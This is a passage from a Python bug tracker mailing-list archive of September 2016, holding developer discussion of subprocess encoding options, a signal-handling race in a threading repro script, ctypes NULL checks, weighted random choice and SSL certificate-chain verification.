stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding='ansi'):
stdout and stderr use the ANSI code page.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:44:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 04:44:05 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1473134059.35.0.238963184101.issue6135@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwacqLWg8ow1buY+9Lu69knQhBbVbw=dd2wKpqFW8ZxHUw@mail.gmail.com>


STINNER Victor added the comment:

Martin Panter added the comment:
> Also, should encoding=... or errors=... be an error if universal_newlines=False (the default)?

Right. But if encoding or errors is used, universal_newlines value
should be set automatically to True.

For example, I expect Unicode when writing:

output = subprocess.call(cmd, stdout=subprocess.PIPE, encoding='utf8').stdout

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:44:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 04:44:06 +0000
Subject: [issue27965] automatic .py extension
In-Reply-To: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>
Message-ID: <1473137046.73.0.847547339372.issue27965@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
assignee:  -> terry.reedy
components: +IDLE
nosy: +terry.reedy
type: performance -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:44:32 2016
From: report at bugs.python.org (Marcquise Washington)
Date: Tue, 06 Sep 2016 04:44:32 +0000
Subject: [issue27965] automatic .py extension
In-Reply-To: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>
Message-ID: <1473137072.58.0.122004403483.issue27965@psf.upfronthosting.co.za>


Changes by Marcquise Washington <quise215 at yahoo.com>:


----------
type: behavior -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:47:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 04:47:40 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1473134997.4.0.378663760898.issue6135@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbzkZO0W+wc2bPQ8H9V7-tOjbP+gV8XMdro2=0M=UYYNA@mail.gmail.com>


STINNER Victor added the comment:

Nick Coghlan added the comment:
> a. How do folks feel about providing a new "text" parameter to replace the cryptic "universal_newlines=True" that would explicitly be equivalent to "universal newlines with sys.getdefaultencoding()"?

If it's just text=True, I don't see the point of having two options
with the same purpose.

> b. Given (a), what if the new "text" parameter also accepted a new "subprocess.TextConfig" object in addition to the base behaviour of doing a plain bool(text) check to activate the defaults?

Can you give an example? I don't see how the API would be used.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:53:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 04:53:48 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1473136673.76.0.781972274062.issue27744@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaUey8a2REgBFxffqmeT_3ppK1VaTcPyD8-ExmreBtE_A@mail.gmail.com>


STINNER Victor added the comment:

> Also, the Gentoo buildbots fail:
> http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x/builds/1368/steps/test/logs/stdio
> ======================================================================
> ERROR: test_aead_aes_gcm (test.test_socket.LinuxKernelCryptoAPI)

It's Linux 4.4.6. configure says "checking for sockaddr_alg... yes".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:58:07 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 04:58:07 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473137887.85.0.300151514577.issue27963@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ooh, I treat dereference as decref, sorry. Then I think it may happen when there is not enough memory. But your patch is not complete, at least you should Py_DECREF(result). But this function may need more care since the malloc failure in it will alter states.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:59:16 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 06 Sep 2016 04:59:16 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473137956.96.0.000696188194929.issue27137@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Thanks for the nudge, and sorry for getting distracted! I won't be able to get to this today, but I'll definitely handle it in time for the deadline :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:01:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 05:01:38 +0000
Subject: [issue27962] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_encoding
In-Reply-To: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>
Message-ID: <1473138098.1.0.00449230105354.issue27962@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

I suggest close this as duplicate of issue27963 and fix these all in that issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:29:59 2016
From: report at bugs.python.org (Andre Merzky)
Date: Tue, 06 Sep 2016 05:29:59 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473139799.55.0.412656513294.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

> The repro is tied to the time.sleep call in the try block.  If I do time.sleep(1)

Yes - if both sleeps, the one in the `try` block and the one in the thread's routine (`sub`) are equal, then you'll have the typical race, and you can well be in the `finally` clause when the exception arises.

The problem though is different: please feel free to set the sleep in the `try` block to `sleep(100)` -- and unless the thread creation and startup takes 99 seconds, you should *not* run into that race, the problem however persists:

-------------------------------------------------------
merzky at thinkie:~ $ grep -C 2 sleep bug.py

def sub(pid):
    time.sleep(1)
    os.kill(pid, signal.SIGUSR2)

--
    t = mt.Thread(target=sub, args=[os.getpid()])
    t.start()
    time.sleep(100)
except Exception as e:
    print 'except: %s' % e

merzky at thinkie:~ $ while true; do i=$((i+1)); echo -n "$i: "; python bug.py || break; done
1: except: caught sigusr2
2: except: caught sigusr2
3: except: caught sigusr2
4: Traceback (most recent call last):
  File "bug.py", line 30, in <module>
    print 'unexcepted'
  File "bug.py", line 14, in sigusr2_handler
    raise RuntimeError('caught sigusr2')
RuntimeError: caught sigusr2
------------------------------------------------------

In this case, the begaviour does depend on `ctypes` -- or at least I have not seen that problem without `ctypes` being used.

Thanks, Andre.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:45:11 2016
From: report at bugs.python.org (Mark Hammond)
Date: Tue, 06 Sep 2016 05:45:11 +0000
Subject: [issue27966] PEP-397 documents incorrect registry path
Message-ID: <1473140711.09.0.302739386387.issue27966@psf.upfronthosting.co.za>


New submission from Mark Hammond:

Received via email:

PEP-397 (PEP 397 -- Python launcher for Windows) says:
"""
The launcher installation is registered in

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\SharedDLLs with a reference counter.
"""

There is no such entry. It should be HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

----------
assignee: docs at python
components: Documentation
messages: 274525
nosy: docs at python, mhammond
priority: normal
severity: normal
status: open
title: PEP-397 documents incorrect registry path

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27966>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:50:07 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 05:50:07 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473141007.89.0.531296531014.issue27963@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

issue27963.patch tries to fix the crash caused by not enough memory and avoid inconsistent state when failure.

----------
keywords: +patch
Added file: http://bugs.python.org/file44390/issue27963.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:53:42 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 05:53:42 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473141222.8.0.0803782510274.issue27963@psf.upfronthosting.co.za>


Minh R?u added the comment:

the patch look good. Thank Xiang

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:24:10 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 06:24:10 +0000
Subject: [issue27967] Remove unused variables causing compile warnings in
 sqlite3 module
Message-ID: <1473143050.26.0.381647995146.issue27967@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Compile py2.7 will generate two unused variable warnings in sqlite3 module. The variables have already not existed in py3.

/home/angwer/py2.7/Modules/_sqlite/cursor.c: In function ?pysqlite_cursor_dealloc?:
/home/angwer/py2.7/Modules/_sqlite/cursor.c:121:9: warning: variable ?rc? set but not used [-Wunused-but-set-variable]
     int rc;

/home/angwer/py2.7/Modules/_sqlite/statement.c: In function ?pysqlite_statement_dealloc?:
/home/angwer/py2.7/Modules/_sqlite/statement.c:414:9: warning: variable ?rc? set but not used [-Wunused-but-set-variable]
     int rc;

----------
components: Library (Lib)
files: py2.7_sqlite_unused.patch
keywords: patch
messages: 274528
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: Remove unused variables causing compile warnings in sqlite3 module
versions: Python 2.7
Added file: http://bugs.python.org/file44391/py2.7_sqlite_unused.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27967>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:29:11 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 06:29:11 +0000
Subject: [issue27968] test_coroutines generates some warnings
Message-ID: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

./python -m test test_coroutines
Run tests sequentially
0:00:00 [1/1] test_coroutines
/home/angwer/cpython/Lib/test/test_coroutines.py:891: RuntimeWarning: coroutine 'CoroutineTest.test_await_12.<locals>.coro' was never awaited
  return await Awaitable()
/home/angwer/cpython/Lib/test/test_coroutines.py:35: RuntimeWarning: coroutine 'CoroutineTest.test_await_9.<locals>.bar' was never awaited
  buffer.append(coro.send(None))
Exception ignored in: <coroutine object CoroutineTest.test_fatal_coro_warning.<locals>.func at 0x7f481378f678>
RuntimeWarning: coroutine 'CoroutineTest.test_fatal_coro_warning.<locals>.fun' was never awaited
Exception ignored in: <coroutine object CoroutineTest.test_for_10.<locals>.AI.__aiter__ at 0x7f481378f5c8>
RuntimeWarning: coroutine 'CoroutineTest.test_for_10.<locals>.AI.__aiter__' was never awaited
Exception ignored in: <coroutine object CoroutineTest.test_for_9.<locals>.AI.__aiter__ at 0x7f481378f5c8>
RuntimeWarning: coroutine 'CoroutineTest.test_for_9.<locals>.AI.__aiter__' was never awaited
/home/angwer/cpython/Lib/test/test_coroutines.py:555: RuntimeWarning: coroutine 'CoroutineTest.test_func_13.<locals>.g' was never awaited
  g().send('spam')
/home/angwer/cpython/Lib/test/test_coroutines.py:408: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  list(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:411: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  tuple(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:414: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  sum(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:417: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  iter(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:438: RuntimeWarning: coroutine 'CoroutineTest.test_func_5.<locals>.foo' was never awaited
  for el in foo(): pass
1 test OK.

Total duration: 290 ms
Tests result: SUCCESS

----------
messages: 274529
nosy: giampaolo.rodola, gvanrossum, haypo, xiang.zhang, yselivanov
priority: normal
severity: normal
status: open
title: test_coroutines generates some warnings
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:47:04 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 06 Sep 2016 06:47:04 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473144424.13.0.571105092332.issue27889@psf.upfronthosting.co.za>


George Slavin added the comment:

Thanks for the reply!  I've managed to reproduce the issue without using ctypes, so we can exclude ctypes as the cause of the problem :)

The bug only occurs for me after hundreds of iterations of the script, so it is very intermittent.

>From my results, it appears the signal handler is called, but the exception isn't caught in the try block (this matches your result).

>From the call stack it appears the exception handler is called at
"print 'unexcepted'", which is after the try block.

Interestingly, if I place a print after time.sleep, I cannot repro this issue.  Maybe there is a race between the signal handler execution and execution of the try block in the main thread?  Adding the print might slow down the main thread enough that the race disappears.

I don't know the source that well, so I'll need to do some digging to get any more information.

I hope this helps!

-George Slavin

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:56:29 2016
From: report at bugs.python.org (Andre Merzky)
Date: Tue, 06 Sep 2016 06:56:29 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473144989.13.0.951725970549.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

Also thanks for the reply! :)

Interesting that our results differ: as said, my code stumbles over it rather frequently,  and I can't reproduce w/o ctypes activities.  But indeed, the latter might just reinforce a race condition which is present either way...  

Yes, I also observed that a print statement (or other activities) makes the problem appear less frequently -- I would also guess that it influences a potential race somewhere.

Thanks for looking into it!

Andre.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:01:10 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 07:01:10 +0000
Subject: [issue27969] Suppress unnecessary message when running test_gdb
Message-ID: <1473145270.93.0.694840839391.issue27969@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Right now, when running test_gdb generates following message:

./python -m test test_gdb
Run tests sequentially
0:00:00 [1/1] test_gdb
*Python Exception <type 'exceptions.ImportError'> No module named gdb: 
*gdb: warning: 
*Could not load the Python gdb module from `/usr/local/share/gdb/python'.
*Limited Python support is available from the _gdb module.
*Suggest passing --data-directory=/path/to/gdb/data-directory.

test_gdb skipped -- Unable to parse output from gdb.Frame.select test
test_gdb skipped

1 test skipped:
    test_gdb

Total duration: 166 ms
Tests result: SUCCESS

The messages prefixed * are messages generated by invoked gdb command and I think they are not needed to prompt to users.

test_gdb.patch tries to suppress them. After applied, the messages cleaner.

./python -m test test_gdb
Run tests sequentially
0:00:00 [1/1] test_gdb
test_gdb skipped -- Unable to parse output from gdb.Frame.select test
test_gdb skipped

1 test skipped:
    test_gdb

Total duration: 159 ms
Tests result: SUCCESS

----------
components: Tests
files: test_gdb.patch
keywords: patch
messages: 274532
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: Suppress unnecessary message when running test_gdb
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44392/test_gdb.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27969>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:20:51 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 06 Sep 2016 07:20:51 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473146451.94.0.824500696767.issue27889@psf.upfronthosting.co.za>


George Slavin added the comment:

In case anyone else sees this thread,  here's my trimmed down script to repro the issue:

#!/usr/bin/env python2

import threading       as mt
import signal
import time
import os

def sigusr2_handler(signum, frame):
    raise RuntimeError('caught sigusr2')
signal.signal(signal.SIGUSR2, sigusr2_handler)

def sub(pid):
    time.sleep(1)
    os.kill(pid, signal.SIGUSR2)

try:
    t = mt.Thread(target=sub, args=[os.getpid()])
    t.start()
    time.sleep(500)
except Exception as e:
    print('except: %s' % e)
else:
    print('unexcepted')
finally:
    t.join()


When I run the above, I get the repro after hundreds of iterations.  From these results, it appears there is no guarentee that the signal handler will run before the main thread continues execution at the time.sleep(500) line.  This would explain why we advance to the else clause before the exception is raised.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:35:07 2016
From: report at bugs.python.org (Andre Merzky)
Date: Tue, 06 Sep 2016 07:35:07 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473147307.47.0.188957894652.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

Hi George, 

> From these results, it appears there is no guarentee that the signal handler will run before the main thread continues execution at the time.sleep(500) line.  This would explain why we advance to the else clause before the exception is raised.

To me it looks like the problem pops up *way* before the `sleep(100)` (or whatever) finishes, in fact it looks consistently like the sleep is indeed interrupted after one second.  I would it thus interpret differently, as the code should not be able to advance to the `else` clause at that time.

Is that different for you?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:36:30 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 06 Sep 2016 07:36:30 +0000
Subject: [issue27965] automatic .py extension
In-Reply-To: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>
Message-ID: <1473147390.91.0.548742430402.issue27965@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

This issue is essentially a duplicate of $4832, in which Ned Deily added 'defaultextension' in the code below.  Saving works fine on Windows, The added default extension is not shown in the input box of the SaveAs dialog but it is visible in file listing or in the IDLE editor title bar.  Ned said that with the his addition, it also worked on OSX.  Are you sure there is no extension in a file listing or title bar if you don't add .py?  What tcl/tk version are you using?  (See Help => About IDLE.)

The relevant code in idlelib/iomenu.py (IOBinding before 3.6),

    filetypes = [
        ("Python files", "*.py *.pyw", "TEXT"),
        ("Text files", "*.txt", "TEXT"),
        ("All files", "*"),
        ]

    defaultextension = '.py' if sys.platform == 'darwin' else ''
...
    def asksavefile(self):
        dir, base = self.defaultfilename("save")
        if not self.savedialog:
            self.savedialog = tkFileDialog.SaveAs(
                    parent=self.text,
                    filetypes=self.filetypes,
                    defaultextension=self.defaultextension)
        filename = self.savedialog.show(initialdir=dir, initialfile=base)
        return filename

----------
components: +Tkinter
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:38:15 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 06 Sep 2016 07:38:15 +0000
Subject: [issue27965] Automatic .py extension when saving with IDLE on OSX
In-Reply-To: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>
Message-ID: <1473147495.35.0.135671727762.issue27965@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
title: automatic .py extension -> Automatic .py extension when saving with IDLE on OSX
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:40:03 2016
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Tue, 06 Sep 2016 07:40:03 +0000
Subject: [issue27106] configparser.__all__ is incomplete
In-Reply-To: <1464121705.13.0.123221989673.issue27106@psf.upfronthosting.co.za>
Message-ID: <1473147603.57.0.717950176387.issue27106@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

That's completely fine for me. I'm attaching the patch that just adds test for __all__, then. :)

----------
Added file: http://bugs.python.org/file44393/configparser_all.v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27106>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:46:28 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 06 Sep 2016 07:46:28 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1473147307.47.0.188957894652.issue27889@psf.upfronthosting.co.za>
Message-ID: <CAPedJr4HzaSf6R3f4OKWRQ-D=PArh3baKfjZNyLn5fFWPTd5iA@mail.gmail.com>


George Slavin added the comment:

The docs say the sleep call will end if a signal is caught, so once the
main thread wakes, it won't go back to sleep.

On Sep 6, 2016 12:35 AM, "Andre Merzky" <report at bugs.python.org> wrote:

>
> Andre Merzky added the comment:
>
> Hi George,
>
> > From these results, it appears there is no guarentee that the signal
> handler will run before the main thread continues execution at the
> time.sleep(500) line.  This would explain why we advance to the else clause
> before the exception is raised.
>
> To me it looks like the problem pops up *way* before the `sleep(100)` (or
> whatever) finishes, in fact it looks consistently like the sleep is indeed
> interrupted after one second.  I would it thus interpret differently, as
> the code should not be able to advance to the `else` clause at that time.
>
> Is that different for you?
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27889>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:03:47 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 08:03:47 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473149027.0.0.209747848588.issue18844@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Latest draft patch attached (w/o tests or docs).
Incorporates consultation from Alan Downey and Jake Vanderplas.

* Population and weights are separate arguments (like numpy.random.choice() and sample() in R).  Matches the way data would arrive in Pandas.  Easily extracted from a Counter or dict using keys() and values().  Suitable for applications that sample the population multiple times but using different weights.  See https://stat.ethz.ch/R-manual/R-devel/library/base/html/sample.html and http://docs.scipy.org/doc/numpy/reference/generated/numpy.random.choice.html

* Excludes a replacement=False option. That use case necessarily has integer weights and may be better suited to the existing random.sample() rather than trying to recompute a CDF on every iteration as we would have to in this function.

* Allows cumulative_weights to be submitted instead of individual weights.  This supports uses cases where the CDF already exists (as in the ThinkBayes examples) and where we want to periodically reuse the same CDF for repeated samples of the same population -- this occurs in resampling applications, Gibbs sampling, and Monte Carlo Markov Chain applications.  Per Jake, "MCMC/Gibbs Sampling approaches generally boil down to a simple weighted coin toss at each step" and "It's definitely common to do aggregation of multiple samples, e.g. to compute sample statistics"

* The API allows the weights to be integers, fractions, decimals, or floats.  Likewise, the population and weights can be any Sequence.  Population elements need not be hashable.

* Returning a list means that the we don't have to save state in mid-stream (that is why we can't use a generator).  A list feeds nicely into Counters, mean, median, stdev, etc for summary statistics.  Returning a list parallels what random.sample() does, keeping the module internally consistent.

* Default uniform weighting falls back to random.choice() which would be more efficient than bisecting.

* Bisecting tends to beat other approaches in the general case.  See http://eli.thegreenplace.net/2010/01/22/weighted-random-generation-in-python

* Incorporates error checks for len(population)==len(cum_weights) and for conflicting specification of both weights and cumulative weights.

There API is not perfect and there are some aspects that give me heartburn.  1) Not saving the computed CDF is waste and forces the user to pre-build the CDF if they want to save it for later use (the API could return both the selections and the CDF but that would be awkward and atypical).  2) For the common case of having small integer weights on a small population, the bisecting approach is slower than using random.choice on a population expanded to include the selections multiple times in proportion to their weights (that said, short of passing in a flag, there is no cheap easy way for this function to detect that case and give it a fast path).  3) Outputting a list is inefficient if all you're doing with result is summarizing it with a Counter, histogram tool, mean, median, or stdev.  4)  There is no cheap way to check to see if the user supplied cum_weights is sorted or if the weights contain negative values.

----------
Added file: http://bugs.python.org/file44394/weighted_choice.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:22:09 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Tue, 06 Sep 2016 08:22:09 +0000
Subject: [issue1067702] urllib fails with multiple ftp transfers
Message-ID: <1473150129.33.0.903442901599.issue1067702@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

The problem is reproducible on latest python 2.7 package (2.7.12).

I tried the same scenario on 2.7.10 and it worked fine. I am not sure if this issue can be reopened or should I create a new one?

In my case first transfer succeeds but second ftp transfer fails with the error:
[Errno ftp error] 200 Type set to I

I am using urllib.urlretrieve(url, local_path) to retrieve two files (one by one) from FTP server.

----------
nosy: +Sohaib Ahmad

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1067702>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:46:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 08:46:00 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <20160906084557.8638.88681.980D32F1@psf.io>


Roundup Robot added the comment:

New changeset 9377ed49746b by Christian Heimes in branch 'default':
Issue 27866: relax test case for set_cipher() and allow more cipher suites
https://hg.python.org/cpython/rev/9377ed49746b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:51:41 2016
From: report at bugs.python.org (Andre Merzky)
Date: Tue, 06 Sep 2016 08:51:41 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473151901.88.0.763111496797.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

I think we are on the same page then, thanks.  

AFAIU, the C-level signal handler results in a flag being set, which is evaluated at some later point in time[1], after a certain number of opcodes have been executed.  Could it be that those opcodes blindly continue to walk into the `else` clause despite the sleep interruption?

[1] https://docs.python.org/3/library/signal.html#execution-of-python-signal-handlers

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:52:17 2016
From: report at bugs.python.org (lilydjwg)
Date: Tue, 06 Sep 2016 08:52:17 +0000
Subject: [issue27970] ssl: can't verify a trusted site with imcomplete
 certificate chain
Message-ID: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>


New submission from lilydjwg:

This fails:

Python 3.5.2 (default, Jun 28 2016, 08:46:01)
[GCC 6.1.1 20160602] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ssl
>>> import socket
>>> s = socket.socket()
>>> c = ssl.create_default_context(cafile='COMODORSADomainValidationSecureServerCA.crt')
>>> s = c.wrap_socket(s, server_hostname='miaosss.top')
>>> s.connect(('miaosss.top', 443))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.5/ssl.py", line 1019, in connect
    self._real_connect(addr, False)
  File "/usr/lib/python3.5/ssl.py", line 1010, in _real_connect
    self.do_handshake()
  File "/usr/lib/python3.5/ssl.py", line 988, in do_handshake
    self._sslobj.do_handshake()
  File "/usr/lib/python3.5/ssl.py", line 633, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:645)

But openssl can succeed:

openssl s_client -connect miaosss.top:443 -CAfile COMODORSADomainValidationSecureServerCA.crt -servername miaosss.top

endswith "Verify return code: 0 (ok)"

Firefox and SSLlabs (https://www.ssllabs.com/ssltest/analyze.html?d=miaosss.top) both show it's trusted.

----------
messages: 274542
nosy: lilydjwg
priority: normal
severity: normal
status: open
title: ssl: can't verify a trusted site with imcomplete certificate chain
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:54:52 2016
From: report at bugs.python.org (INADA Naoki)
Date: Tue, 06 Sep 2016 08:54:52 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
